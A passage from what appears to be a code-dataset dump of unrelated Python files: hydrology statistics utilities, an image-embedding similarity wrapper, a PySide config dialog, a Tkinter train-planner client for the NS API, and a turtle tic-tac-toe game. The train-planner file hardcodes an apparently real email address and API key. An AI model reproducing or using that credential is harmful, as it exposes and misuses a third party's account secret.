get_file_list\nfrom utils.fileutil import get_file_line_break, get_file_encoding\n\n\ndef sql_check():\n sql_data = yamlUtil()\n error_list = list()\n if sql_data.get('code'):\n if 'sql' == sql_data.get('data').get('checktype') and sql_data.get('data').get('sqlPath') is not None:\n cfg_sql_path = sql_data.get('data').get('sqlPath')\n if os.path.isdir(cfg_sql_path):\n sql_files = get_file_list(path=cfg_sql_path, include=['.sql'])\n for i in range(len(sql_files[0])):\n # 校验格式和换行符\n file_encoding = get_file_encoding(sql_files[0][i])\n line_break = get_file_line_break(sql_files[0][i], file_encoding)\n if ('gb2312' == file_encoding or 'ascii' == file_encoding) or 'LF' == line_break:\n error_list.append(sql_files[0][i] + '文件的编码格式为:' + file_encoding + ',换行符为:' + line_break)\n return error_list\n\n\ndef write_sql_check_result():\n sql_list = sql_check()\n for i in range(len(sql_list)):\n with open('sql_check_result.txt', 'a+', encoding='gb2312') as f:\n f.write(sql_list[i] + '\\n')\n\n\nif __name__ == \"__main__\":\n print(write_sql_check_result())\n","sub_path":"sqlCheck.py","file_name":"sqlCheck.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"459937441","text":"import numpy as np\nimport pandas as pd\n\nfrom scipy.stats import norm\nfrom scipy.interpolate import interp1d\nfrom sklearn.linear_model import LinearRegression\n\nimport ulmo\nimport pymannkendall as mk\n\n\n# from myfunc.py\n# ---------------------------------------------------------------------------\ndef movfunc(tensor, k, axis=-1, gfunc=np.mean):\n\n dims = list(tensor.shape)\n slcs = [slice(0, i) for i in dims]\n\n n = dims[axis] - k + 1 # new dim for axis of moving window\n\n tensor_list = []\n for i in range(k):\n slcs[axis] = slice(i, i + n)\n tensor_list.append(tensor[slcs]) # using tuple avoid warning message\n\n tensor_sm = gfunc(np.stack(tensor_list), axis=0)\n return tensor_sm\n\n\n# from hydownload.py\n# ---------------------------------------------------------------------------\ndef importusgssite(siteno):\n sitename = {}\n sitename = ulmo.usgs.nwis.get_site_data(\n siteno, service=\"daily\", period=\"all\", methods='all')\n sitename = pd.DataFrame(sitename['00060:00003']['values'])\n sitename['dates'] = pd.to_datetime(pd.Series(sitename['datetime']))\n sitename.set_index(['dates'], inplace=True)\n sitename['Q'] = sitename['value'].astype(float)\n sitename['qcode'] = sitename['qualifiers']\n sitename = sitename.drop(['datetime', 'qualifiers', 'value'], axis=1)\n sitename = sitename.replace('-999999', np.nan)\n return sitename\n\n\n# from hyclean.py\n# ---------------------------------------------------------------------------\ndef find_gaps(arr):\n arr = np.concatenate((np.array([1]), arr, np.array([1])))\n d = np.diff(np.isnan(arr).astype(int))\n sidx = np.where(d == 1)[0]\n eidx = np.where(d == -1)[0]\n outarr = np.vstack([sidx, eidx]).transpose()\n return outarr\n# extract gaps: [arr[item[0]:item[1]] for item in outarr]\n# get length of gaps: np.diff(outarr, axis=1)\n\n\n# shorten: remove NaNs at HEAD and TAIL or not\ndef quick_interp(arr, method='linear', shorten=False):\n sidx, eidx = 0, len(arr) - 1\n while np.isnan(arr[sidx]):\n sidx += 1\n while np.isnan(arr[eidx]):\n eidx -= 1\n\n x = np.arange(eidx - sidx + 1)\n y = arr[sidx:eidx + 1]\n\n interp_func = interp1d(x[~np.isnan(y)], y[~np.isnan(y)], kind=method)\n arr[sidx:eidx + 1] = interp_func(x)\n\n if shorten:\n arr = arr[sidx:eidx + 1]\n\n return arr\n\n\n# mglen: max gap length\ndef fill_small_gaps(arr, mglen=10):\n gap_idx = find_gaps(arr)\n out_arr = quick_interp(arr)\n for [sidx, eidx] in gap_idx:\n if eidx - sidx > mglen:\n out_arr[sidx:eidx] = np.nan\n return out_arr\n\n\ndef shorten_time_series(ts, winsize=1, valid_days_thr=1):\n\n assert winsize >= valid_days_thr\n\n n = len(ts)\n mat = np.zeros([n + winsize - 1, winsize]).astype(bool)\n for i in range(winsize):\n mat[i:n + i, i] = ~np.isnan(ts.values)\n\n y1 = np.sum(mat[winsize - 1:, :], axis=1)\n y2 = np.sum(mat[:n, :], axis=1)\n\n sidx, eidx = 0, n - 1\n while (np.isnan(ts.values[sidx])) | (y1[sidx] < valid_days_thr):\n sidx += 1\n while (np.isnan(ts.values[eidx])) | (y2[eidx] < valid_days_thr):\n eidx -= 1\n return ts[sidx:eidx + 1]\n\n\n# thr: tolerable difference between time steps, in timedelta type\n# for example, thr = pd.Timedelta(10, 's') or thr = np.timedelta64(1, 'D')\ndef convert_time_series(tf, ts, thr):\n ts = ts.sort_index()\n n_step = len(tf)\n\n brk_ticks = list(range(0, n_step, 200))\n rem = n_step - brk_ticks[-1]\n if rem < 100:\n brk_ticks[-1] += rem\n else:\n brk_ticks = brk_ticks + [n_step]\n\n out_ts = pd.Series(np.zeros(n_step) * np.nan, index=tf)\n for sidx, eidx in zip(brk_ticks[:-1], brk_ticks[1:]):\n tf2 = tf[sidx:eidx]\n ts2 = ts[(ts.index >= tf2[0]) & (ts.index <= tf2[-1])]\n\n xx, yy = np.meshgrid(ts2.index, tf2)\n d = np.abs(xx - yy, dtype='timedelta64[s]')\n\n vmat = np.vstack([ts2.values] * len(tf2))\n vmat[d >= thr] = np.nan\n out_ts[sidx:eidx] = np.nanmean(vmat, axis=1)\n\n return out_ts\n\n# from hyanalysis.py\n# ---------------------------------------------------------------------------\ndef splityear(ts, brk_date='01-01'):\n\n years = np.unique(ts.index.year)\n sdate = str(years[0]) + '-' + brk_date\n edate = str(years[-1] + 1) + '-' + brk_date\n tf = pd.date_range(sdate, edate, freq='D')[:-1]\n\n thr = np.timedelta64(1, 'D')\n ts2 = convert_time_series(tf, ts, thr)\n\n leap_day_index = (ts2.index.month == 2) & (ts2.index.day == 29)\n ts2 = ts2.drop(ts2.index[leap_day_index])\n\n assert len(ts2) % 365 == 0\n hys = ts2.values.reshape([-1, 365])\n\n col_name = ts2.index[:365].strftime('%m-%d')\n df_hys = pd.DataFrame(hys, index=years, columns=col_name)\n return df_hys\n\n\ndef calculate_exceeding_jd(hys, perc):\n hys_cum = np.cumsum(hys, axis=1)\n hys_thr = hys_cum[:, -1] * perc / 100\n exceeding_jd = np.argmax(hys_cum > hys_thr[:, np.newaxis], axis=1)\n return exceeding_jd\n\n\ndef calculate_hydrometric(df_hys, name='mean'):\n\n hys = df_hys.values\n midx = np.array([item[:2] for item in df_hys.columns])\n\n if name == 'mean':\n return np.mean(hys, axis=1)\n elif name == 'median':\n return np.median(hys, axis=1)\n elif name == 'std':\n return np.std(hys, axis=1)\n elif name == 'skew':\n hys_mean = calculate_hydrometric(df_hys, 'mean') + 1e-16\n hys_median = calculate_hydrometric(df_hys, 'median') + 1e-16\n return hys_median / hys_mean\n elif name == 'range':\n return np.percentile(hys, 90, axis=1) - np.percentile(hys, 10, axis=1)\n elif name == 'max':\n return np.max(hys, axis=1)\n elif name == 'min':\n return np.min(hys, axis=1)\n elif name == '5p':\n return np.percentile(hys, 5, axis=1)\n elif name == '10p':\n return np.percentile(hys, 10, axis=1)\n elif name == '25p':\n return np.percentile(hys, 25, axis=1)\n elif name == '75p':\n return np.percentile(hys, 75, axis=1)\n elif name == '90p':\n return np.percentile(hys, 90, axis=1)\n elif name == '95p':\n return np.percentile(hys, 95, axis=1)\n elif name == 'n0':\n return np.sum(hys == 0, axis=1)\n elif name == 'min_jd':\n return np.argmin(hys, axis=1)\n elif name == 'max_jd':\n return np.argmax(hys, axis=1)\n elif name == 'cen_jd':\n return hys.dot(np.arange(365)) / np.sum(hys, axis=1)\n elif name == 'sum':\n return np.sum(hys, axis=1)\n\n elif name == '25p_jd':\n return calculate_exceeding_jd(hys, 25)\n elif name == '50p_jd':\n return calculate_exceeding_jd(hys, 50)\n elif name == '75p_jd':\n return calculate_exceeding_jd(hys, 75)\n\n elif name == 'jan':\n return np.mean(hys[:, midx == '01'], axis=1)\n elif name == 'feb':\n return np.mean(hys[:, midx == '02'], axis=1)\n elif name == 'mar':\n return np.mean(hys[:, midx == '03'], axis=1)\n elif name == 'apr':\n return np.mean(hys[:, midx == '04'], axis=1)\n elif name == 'may':\n return np.mean(hys[:, midx == '05'], axis=1)\n elif name == 'jun':\n return np.mean(hys[:, midx == '06'], axis=1)\n elif name == 'jul':\n return np.mean(hys[:, midx == '07'], axis=1)\n elif name == 'aug':\n return np.mean(hys[:, midx == '08'], axis=1)\n elif name == 'sep':\n return np.mean(hys[:, midx == '09'], axis=1)\n elif name == 'oct':\n return np.mean(hys[:, midx == '10'], axis=1)\n elif name == 'nov':\n return np.mean(hys[:, midx == '11'], axis=1)\n elif name == 'dec':\n return np.mean(hys[:, midx == '12'], axis=1)\n\n elif name in [\n 'jan_p', 'feb_p', 'mar_p', 'apr_p', 'may_p', 'jun_p',\n 'jul_p', 'aug_p', 'sep_p', 'oct_p', 'nov_p', 'dec_p'\n ]:\n hys_sum = calculate_hydrometric(df_hys, 'sum') + 1e-16\n if name == 'jan_p':\n return np.sum(hys[:, midx == '01'], axis=1) / hys_sum\n elif name == 'feb_p':\n return np.sum(hys[:, midx == '02'], axis=1) / hys_sum\n elif name == 'mar_p':\n return np.sum(hys[:, midx == '03'], axis=1) / hys_sum\n elif name == 'apr_p':\n return np.sum(hys[:, midx == '04'], axis=1) / hys_sum\n elif name == 'may_p':\n return np.sum(hys[:, midx == '05'], axis=1) / hys_sum\n elif name == 'jun_p':\n return np.sum(hys[:, midx == '06'], axis=1) / hys_sum\n elif name == 'jul_p':\n return np.sum(hys[:, midx == '07'], axis=1) / hys_sum\n elif name == 'aug_p':\n return np.sum(hys[:, midx == '08'], axis=1) / hys_sum\n elif name == 'sep_p':\n return np.sum(hys[:, midx == '09'], axis=1) / hys_sum\n elif name == 'oct_p':\n return np.sum(hys[:, midx == '10'], axis=1) / hys_sum\n elif name == 'nov_p':\n return np.sum(hys[:, midx == '11'], axis=1) / hys_sum\n elif name == 'dec_p':\n return np.sum(hys[:, midx == '12'], axis=1) / hys_sum\n\n elif name in ['max7d', 'min7d', 'max7d_jd', 'min7d_jd']:\n hys_ma = movfunc(hys, k=7)\n if name == 'max7d':\n return np.max(hys_ma, axis=1)\n elif name == 'min7d':\n return np.min(hys_ma, axis=1)\n elif name == 'max7d_jd':\n return np.argmax(hys_ma, axis=1)\n elif name == 'min7d_jd':\n return np.argmin(hys_ma, axis=1)\n\n elif name == 'si':\n hys_sum = calculate_hydrometric(df_hys, 'sum')\n hys_mean = calculate_hydrometric(df_hys, 'mean')\n hys_var = np.sum(np.abs(hys - hys_mean[:, np.newaxis]), axis=1)\n return hys_var / (hys_sum + 1e-16)\n\n\n# ---------------------------------------------------------------------------\n# trend analysis tools (write exclusively for this project)\n# ---------------------------------------------------------------------------\ndef simple_linear_regression(x, y):\n idx = ~np.isnan(x) & ~np.isnan(y)\n x, y = x[idx], y[idx]\n x = x.reshape(-1, 1)\n\n model = LinearRegression().fit(x, y)\n slp, intp = model.coef_[0], model.intercept_\n rsq = model.score(x, y)\n return slp, intp, rsq\n\n\ndef digitize_pvalue(pvalue, sig_level=[0.01, 0.05, 0.1]):\n return len(sig_level) - np.digitize(pvalue, sig_level)\n\n\ndef run_mktest(t, y, method='original'):\n\n assert len(t) == len(y)\n\n indx = ~np.isnan(t) & ~np.isnan(y)\n t, y = t[indx], y[indx]\n\n n = np.sum(indx)\n\n if method == 'original':\n mkout = mk.original_test(y)\n if method == 'yue':\n mkout = mk.yue_wang_modification_test(y)\n if method == 'rao':\n mkout = mk.hamed_rao_modification_test(y)\n if method == 'prewhiten':\n mkout = mk.pre_whitening_modification_test(y)\n if method == 'trendfree':\n mkout = mk.trend_free_pre_whitening_modification_test(y)\n\n slp, intp, pvalue = mkout.slope, mkout.intercept, mkout.p\n intp -= slp * t[0]\n pvalue_d = digitize_pvalue(pvalue) * np.sign(slp)\n return slp, intp, pvalue, pvalue_d, n\n\n\ndef variance_s(x):\n n = len(x)\n tp = np.array([np.sum(x == xi) for xi in np.unique(x)])\n var_s = (n * (n - 1) * (2 * n + 5) - np.sum(tp * (tp - 1) * (2 * tp + 5))) / 18\n return var_s\n\n\ndef get_pair_slope(y):\n n = len(y)\n x = np.arange(n)\n\n xmat = x[:, np.newaxis] - x[np.newaxis, :] # i - j\n ymat = y[:, np.newaxis] - y[np.newaxis, :] # vi - vj\n\n tril_idx = np.tril_indices(n, k=-1) # lower triangle without diagonal\n xarr = xmat[tril_idx]\n yarr = ymat[tril_idx]\n\n slps = yarr / xarr\n return slps\n\ndef sens_slope_lub(y, alpha=0.05):\n\n y2 = y[~np.isnan(y)]\n\n n = len(y2)\n k = n * (n - 1) / 2 # number of pairs\n\n var_s = variance_s(y2)\n\n c = norm.ppf(1 - alpha / 2) * np.sqrt(var_s)\n idx_lo = np.round((k - c) / 2).astype(int)\n idx_up = np.round((k + c) / 2 + 1).astype(int)\n\n slps = get_pair_slope(y)\n slps = slps[~np.isnan(slps)]\n\n slp = np.median(slps)\n slp_lo, slp_up = np.sort(slps)[[idx_lo, idx_up]]\n\n return slp, slp_lo, slp_up\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"484653286","text":"import sys\n\ndef convertNodeIdToRepresentation(nodeid):\n\tbinstr = bin(int(nodeid))[2:].zfill(16)\n\tleft = binstr[:8]\n\tright = binstr[8:]\n\tleftInDec = int(left, 2)\n\trightInDec = int(right, 2)\n\treturn leftInDec, rightInDec\n\nif len(sys.argv) is 2 :\n\tnodeid = sys.argv[1]\n\tleftInDec, rightInDec = convertNodeIdToRepresentation(nodeid)\n\tprint(\"Contiki NodeId representation: %s.%s\" % (leftInDec, rightInDec))\nelse :\n\tprint(\"Proper usage: python node_id_converter \")","sub_path":"hw3/node_id_converter.py","file_name":"node_id_converter.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"620417040","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nimport PIL\r\n\r\n\r\nclass Resnet18Embedding(nn.Module):\r\n def __init__(self, embedding_dimension=128, pretrained=False, normalized=True):\r\n super(Resnet18Embedding, self).__init__()\r\n self.embedding_dimension = embedding_dimension\r\n self.normalized = normalized\r\n self.model = torchvision.models.resnet18(pretrained=pretrained)\r\n input_features_fc_layer = self.model.fc.in_features\r\n # Output embedding\r\n self.model.fc = nn.Linear(input_features_fc_layer, embedding_dimension)\r\n self.fine_tuning = True\r\n\r\n def l2_norm(self, input):\r\n \"\"\"Perform l2 normalization operation on an input vector.\r\n code copied from liorshk's repository: https://github.com/liorshk/facenet_pytorch/blob/master/model.py\r\n \"\"\"\r\n input_size = input.size()\r\n buffer = input.pow(2)\r\n normp = buffer.sum(dim=1).add_(1e-10)\r\n norm = normp.sqrt()\r\n _output = torch.div(input, norm.view(-1, 1).expand_as(input))\r\n output = _output.view(input_size)\r\n return output\r\n\r\n def forward(self, images):\r\n \"\"\"Forward pass to output the embedding vector (feature vector) after l2-normalization and multiplication\r\n by scalar (alpha).\"\"\"\r\n embedding = self.model(images)\r\n if self.normalized:\r\n embedding = 10 * self.l2_norm(embedding)\r\n return embedding\r\n\r\n\r\nclass Wrapper():\r\n def __init__(self):\r\n self.model = Resnet18Embedding()\r\n self.model.load_state_dict(torch.load(\"./best_state_dict.tar\"))\r\n self.model.eval()\r\n self.transform = torchvision.transforms.Compose([\r\n torchvision.transforms.ToTensor(),\r\n torchvision.transforms.Normalize(\r\n mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\n ])\r\n\r\n def calculate_similarity(self, image1, image2):\r\n # image1, image2: Pillow image\r\n image1 = self.transform(image1)\r\n image2 = self.transform(image2)\r\n with torch.no_grad():\r\n batch = torch.stack([image1, image2], dim=0)\r\n embeddings = self.model.forward(batch)\r\n distance = torch.norm(embeddings[0] - embeddings[1])\r\n return float(10 / (10 + distance))\r\n\r\n\r\ndef main():\r\n wrapper = Wrapper()\r\n path1 = \"./img/2 (4).jpg\"\r\n path2 = \"./img/2 (1).jpg\"\r\n img1 = PIL.Image.open(path1)\r\n img2 = PIL.Image.open(path2)\r\n print(wrapper.calculate_similarity(img1, img2))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"demo/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"105015907","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\n\ntry:\n from PySide.QtCore import *\n from PySide.QtGui import *\nexcept:\n print (\"Error: This program needs PySide module.\", file=sys.stderr)\n sys.exit(1)\n\n\nclass Config(QDialog):\n def __init__(self, host, port, parent=None):\n super().__init__(parent)\n self.hostname = host\n self.port = port\n\n self.setWindowTitle(\"Configuration du serveur\")\n layout = QVBoxLayout()\n\n self.hostLine = QLineEdit(self)\n self.hostLine.setText(self.hostname)\n\n self.portLine = QLineEdit(self)\n self.portLine.setText(str(self.port))\n\n okBtn = QPushButton(\"Ok\", self)\n discardBtn = QPushButton(\"Quitter\", self)\n\n formLayout = QFormLayout()\n formLayout.addRow(\"Hostname:\", self.hostLine)\n formLayout.addRow(\"Port:\", self.portLine)\n\n buttonLayout = QHBoxLayout()\n buttonLayout.addWidget(okBtn)\n buttonLayout.addWidget(discardBtn)\n\n layout.addLayout(formLayout)\n layout.addLayout(buttonLayout)\n self.setLayout(layout)\n\n okBtn.clicked.connect(self.accept)\n discardBtn.clicked.connect(self.reject)\n\n def accept(self):\n errMsg = []\n\n self.hostname = self.hostLine.text().strip()\n if not self.hostname:\n errMsg.append('- Hostname vide')\n\n self.port = self.portLine.text().strip()\n regex = QRegExp(r'[0-9]{1,5}', \\\n Qt.CaseInsensitive, QRegExp.RegExp2)\n validator = QRegExpValidator(regex, self)\n if not self.port:\n errMsg.append('- Vous devez spécifier un port valide')\n elif validator.validate(self.port, 0)[0] != QValidator.Acceptable:\n errMsg.append('- Port invalide')\n else:\n pass\n\n if errMsg:\n QMessageBox.warning(self, 'Attention', '\\n'.join(errMsg))\n return\n\n self.port = int(self.port)\n\n return super().accept()\n","sub_path":"src/cm_config.py","file_name":"cm_config.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"608766393","text":"import wpcv\nimport detro.utils as ut\nimport cv2\nimport os, shutil, glob\nimport numpy as np\nfrom .utils import visualize\n\ndef test(cfg):\n ut.set_default_font_path(cfg.FONT_PATH)\n detector = cfg.get_detector()\n num_points = 4\n num_params=3\n det_type = 'circle'\n dir=cfg.TEST_DIR\n saver = wpcv.ImageSaver(dir + '_out', remake_dir=True, auto_make_subdir=True)\n fs = glob.glob(dir + '/*.bmp')\n fs.sort()\n font = ut.get_default_font(32)\n for i, f in enumerate(fs):\n img = cv2.imread(f)\n pim = wpcv.pilimg(img)\n polygons = detector.predict(img)\n if not len(polygons):\n continue\n polys = polygons[:, :num_params].astype(np.int)\n # polys=list(filter(lambda poly:poly[num_params]>0.1,))\n im = pim\n for j, poly in enumerate(polys):\n score = polygons[j][num_params]\n label = '%.2f' % score\n if det_type == 'bbox':\n im = wpcv.draw_boxes_with_label(im, [(poly, label)], line_width=2, box_color='red', font=font,\n text_color='blue', offset=(0, -18))\n elif det_type=='circle':\n pass\n elif False:\n poly = np.array(poly).reshape((-1, 2))\n box=wpcv.bounding_rect(poly)\n im = wpcv.draw_boxes_with_label(im, [(box, label)], line_width=2, box_color='red', font=font,\n text_color='blue', offset=(0, -18))\n else:\n assert det_type == 'polygon'\n poly = np.array(poly).reshape((-1, 2))\n poly = ut.organize_polygon_points(poly)\n im = wpcv.draw_polygon(im, poly, color='red', width=4, label=label, label_xy=(0, -18),\n label_color='red', font=font)\n if hasattr(detector,'get_middle_results'):\n res=detector.get_middle_results()\n saver.save(res['center_heatmap_img'])\n saver.save(res['corner_heatmap_img'])\n\n saver.save(im)\n im=visualize(pim,polygons)\n saver.save(im)\n print(i, f, len(polygons))\n\n","sub_path":"detro/packages/circledet/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"203386017","text":"import requests\nimport xmltodict\nimport tkinter as Tkint\nfrom tkinter import *\n\n\ndef reisPlannen(beginStation, eindStation):\n 'Ask the API for the treinplanning between two stations'\n # making contact with the API\n auth_details = ('pixelpulp4@gmail.com', 'zdRThsCcDsXBFsIxycTU2uWcctPd1W_50xRICdSN6vZUIfAm987U5g')\n api_url = 'http://webservices.ns.nl/ns-api-treinplanner?fromStation={0}&toStation={1}&departure=True'.format(\n beginStation, eindStation)\n response = requests.get(api_url, auth=auth_details)\n\n # saves the response in 'vertrekXML'\n vertrekXML = xmltodict.parse(response.text)\n return vertrekXML\n\n\nclass ReisInfo:\n def __init__(self, beginStat, eindStat, vertrekTijd, aankomstTijd, overStap, reisTijd):\n self.beginStat = beginStat\n self.eindStat = eindStat\n self.vertrekTijd = vertrekTijd\n self.aankomstTijd = aankomstTijd\n self.overStap = overStap\n self.reisTijd = reisTijd\n\n def writeInfo(self, direction):\n 'sets up the frames with the info of reismogelijkheden'\n infoFrame = Tkint.Frame(master=direction, # setting the frame\n background=\"white\",\n borderwidth=1,\n relief=\"solid\")\n infoFrame.pack(side=TOP, padx=4, pady=(30, 0))\n\n # writes the to the frame\n travelTime = Tkint.Label(master=infoFrame,\n text='reistijd: {0}'.format(self.reisTijd),\n foreground='#003067',\n background=\"white\",\n font=('Helvetica', 12))\n travelTime.pack(side=\"right\", pady=10, padx=10)\n\n # writes the vertrekTijd en aankomstTijd to the frame\n dateTime = Tkint.Label(master=infoFrame,\n text='{0} -> {1}'.format(self.vertrekTijd, self.aankomstTijd),\n foreground='#003067',\n background=\"white\",\n font=('Helvetica', 12))\n dateTime.pack(side=\"right\", pady=5, padx=10)\n\n # writes the begin and end station to the frame\n stations = Tkint.Label(master=infoFrame,\n text='{0} -> {1}'.format(self.beginStat, self.eindStat),\n foreground='#003067',\n background=\"white\",\n font=('Helvetica', 12))\n stations.pack(side=\"left\", pady=5, padx=10)\n\n # vertrek en aankomsttation kort samengevat\n planning = Tkint.Label(infoFrame,\n text='Reis van {0} naar {1}:'.format(self.beginStat, self.eindStat),\n foreground='#003067',\n background=\"white\",\n font=('Helvetica', 14))\n planning.pack(side=\"left\", pady=5, padx=10)\n planning.place(x=130, y=267)","sub_path":"Project_reisplanner/reisFuncties.py","file_name":"reisFuncties.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"240537389","text":"# Set window to be 300 by 200 with the point (0, 0) as the\n# lower left corner and (300, 200) as the upper right corner.\nfrom turtle import *\nsetup(300, 300)\nscreensize(300, 300)\nsetworldcoordinates(0, 0, 300, 300)\ntitle('Tic tac toe')\ndef square(x,y,size=100):\n pu();goto(x,y);pd()\n seth(0)\n begin_fill()\n for m in range(4):\n fd(size)\n left(90)\n end_fill()\n seth(0)\ndef board():\n ht();tracer(1,0)\n color('white','#000000')\n square(0,0)\n square(200,200)\n square(0,200)\n square(200,0)\n square(100,100)\n color('white','white')\n square(0,100)\n square(100,0)\n square(100,200)\n square(200,100)\n color('white')\n square(0,285,15)\n#------------------------------------------------------------------------------#\ndef checkwin():\n #theBool=False\n global A;A=None\n draw=True\n for i in range(3): #This loop is doing the work of two!\n a=c[i][0];bool1=True\n b=c[0][i];bool2=True\n for j in range(3):\n if a!=c[i][j]:\n bool1=False\n if b!=c[j][i]:\n bool2=False\n if c[i][j]==1:\n draw=False\n #lineBool=False\n if bool1 and a!=1:\n A=a\n # lineBool=lineBool or bool1\n elif bool2 and b!=1:\n A=b\n # lineBool=lineBool or bool2\n #theBool=theBool or lineBool\n\n d1 = c[0][0]==c[1][1]==c[2][2]!=1\n d2 = c[0][2]==c[1][1]==c[2][0]!=1\n if d1: A=c[0][0]\n if d2: A=c[0][2]\n #theBool = theBool or d1 or d2\n if A != None:\n return A\n elif draw:\n return \"Draw\"\ni=0\nc=[[1,1,1],[1,1,1],[1,1,1]]\ndef od(x,y):\n global c; c[x][y]=0\n pu()\n goto((x)*100+50,(y)*100+25)\n pd();circle(25)\ndef xd(x,y):\n global c; c[x][y]=2\n tracer(1,0)\n pu();goto((x)*100+25,(y)*100+25);pd()\n goto((x)*100+75,(y)*100+75);\n pu();goto((x)*100+75,(y)*100+25);pd()\n goto((x)*100+25,(y)*100+75);\nimport os\ndef reset():\n bye()\n os.system('\"turtle tic tac toe.py\"')\n## #Earlier, reset was this:\n## global i,c\n## clear()\n## board()\n## i=0\n## c=[[1,1,1],[1,1,1],[1,1,1]]\n## #But it caused problems when erase button was pressed multiple times\n#------------------------------------------------------------------------------#\ndef twoplayer(x,y):\n global i\n if y>285 and x<15:\n reset()\n return\n if x>300 or y>300 or x<0 or y<0:\n return\n x,y=int(x//100),int(y//100)\n if c[x][y]!=1:\n return\n if (x+y)%2==0: # i.e. if (x,y) in [(0,0),(0,2),(1,1),(2,0),(2,2)]\n color('white')\n else:\n color('black')\n if i==0:\n global a;a=textinput('Tic tac toe','Only x or o, Default: x')\n if a=='o' or a=='O' or a=='0':\n a=0\n od(x,y)\n else:\n a=2\n xd(x,y)\n elif i%2==1:\n if a==0:\n xd(x,y)\n else:\n od(x,y)\n elif i%2==0:\n if a==0:\n od(x,y)\n else:\n xd(x,y)\n i=i+1\n chckwn=checkwin()\n if chckwn!=None:\n f=open('surveillance.txt','a')\n f.write(str(c)+'\\n')\n f.close()\n if chckwn==0:\n print(\"O wins!\")\n reset()\n elif chckwn==2:\n print(\"X wins!\")\n reset()\n elif chckwn==\"Draw\":\n print(chckwn)\n reset()\n#------------------------------------------------------------------------------#\ndef check2(line , forvar): #check2 means to check for two same boxes in a line and returns the position of the third one\n ret=None\n if forvar==c[line[0][0]][line[0][1]]==c[line[1][0]][line[1][1]]!=1:\n ret = line[2]\n elif forvar==c[line[1][0]][line[1][1]]==c[line[2][0]][line[2][1]]!=1:\n ret = line[0]\n elif forvar==c[line[2][0]][line[2][1]]==c[line[0][0]][line[0][1]]!=1:\n ret = line[1]\n\n if ret != None and c[ret[0]][ret[1]]==1:\n return ret\n else :\n return None,None\nfrom random import random\ndef calcxy():\n global i\n if i==1:\n if c[1][1] != 1: #if user started center\n k=[(0 , 0) , (0 , 2) , (2 , 0) , (2 , 2)]\n l=int(random()*len(k))\n x,y= k[l]\n elif c[0][0] != 1 or c[0][2] != 1 or c[2][0] != 1 or c[2][2]!=1: #if s/he started a corner\n x,y=[1,1]\n else: #if s/he started a outer mid\n k=[[0 , 1] , [1 , 0] , [1 , 2] , [2 , 1]]\n for i in range(4):\n if c[k[i][0]][k[i][1]]!=1:\n r = [k[3-i] , [1,1]]\n x,y = r[int(random()*2)]\n #I wanted to put a \"break\" in this line but that was causing (why?) problems with the [0,1] and [1,2] cases.\n else:\n col=[];row=[]\n for l in range(3):\n row.append([]);row[l]=list([(x,l) for x in range(3)])\n col.append([]);col[l]=list([(l,x) for x in range(3)])\n diag=[[],[]]\n diag[0]=[[0,0],[1,1],[2,2]]\n diag[1]=[[0,2],[1,1],[2,0]]\n\n \n #Remove from here. . .\n x,y=check2(diag[0],2-a)\n if x == None:\n x,y = check2(diag[1],2-a)\n if x == None:\n for l in range(3):\n x,y = check2(row[l],2-a)\n if x!=None: break\n if x == None:\n for l in range(3):\n x,y = check2(col[l],2-a)\n if x!=None: break\n #. . . Till here to bring down the level a notch\n\n if x == None:\n x,y=check2(diag[0],a)\n if x == None:\n x,y = check2(diag[1],a)\n if x == None:\n for l in range(3):\n x,y = check2(row[l],a)\n if x!=None: break\n if x == None:\n for l in range(3):\n x,y = check2(col[l],a)\n if x!=None: break\n\n if x == None:\n k=[(x,y) for x in range(3) for y in range(3) if c[x][y] == 1]\n x,y=k[int(random()*len(k))]\n return x,y\ndef computer(x,y):\n global i\n if y>285 and x<15:\n reset()\n return\n if x>300 or y>300 or x<0 or y<0:\n return\n x,y=int(x//100),int(y//100)\n if c[x][y]!=1:\n return\n if (x+y)%2==0: # i.e. if (x,y) in [(0,0),(0,2),(1,1),(2,0),(2,2)]\n color('white')\n else:\n color('black')\n if i==0:\n global a;a=textinput('Tic tac toe','Only x or o, Default: x')\n if a=='o' or a=='O' or a=='0':\n a=0\n od(x,y)\n else:\n a=2\n xd(x,y)\n elif i%2==1:\n x,y=calcxy()\n if (x+y)%2==0: \n color('white')\n else:\n color('black')\n if a==0:\n xd(x,y)\n else:\n od(x,y)\n elif i%2==0:\n if a==0:\n od(x,y)\n else:\n xd(x,y)\n i=i+1\n chckwn=checkwin()\n if chckwn!=None:\n f=open('surveillance.txt','a')\n f.write(str(c)+\"\\n\")\n f.close() \n if chckwn==a:\n print(\"You win!\") # It's never gonna happen lol ## Well, it is :(\n reset()\n elif chckwn==\"Draw\": # Most of the time\n print(chckwn)\n reset()\n elif chckwn!=None: # Every now and then\n print(\"Computer wins!\") \n reset()\n#------------------------------------------------------------------------------#\nchoice=textinput('Tic tac toe',\"'2' or t for two players, anything else for playing with Computer\")\nboard()\nif choice != '2' and choice != 't' and choice !='T':\n onscreenclick(computer)\nelse:\n onscreenclick(twoplayer)\nmainloop()\n","sub_path":"turtle tic tac toe.py","file_name":"turtle tic tac toe.py","file_ext":"py","file_size_in_byte":7572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"222491077","text":"from peewee import *\n\n# Configure your database connection here\n# database name = should be your username on your 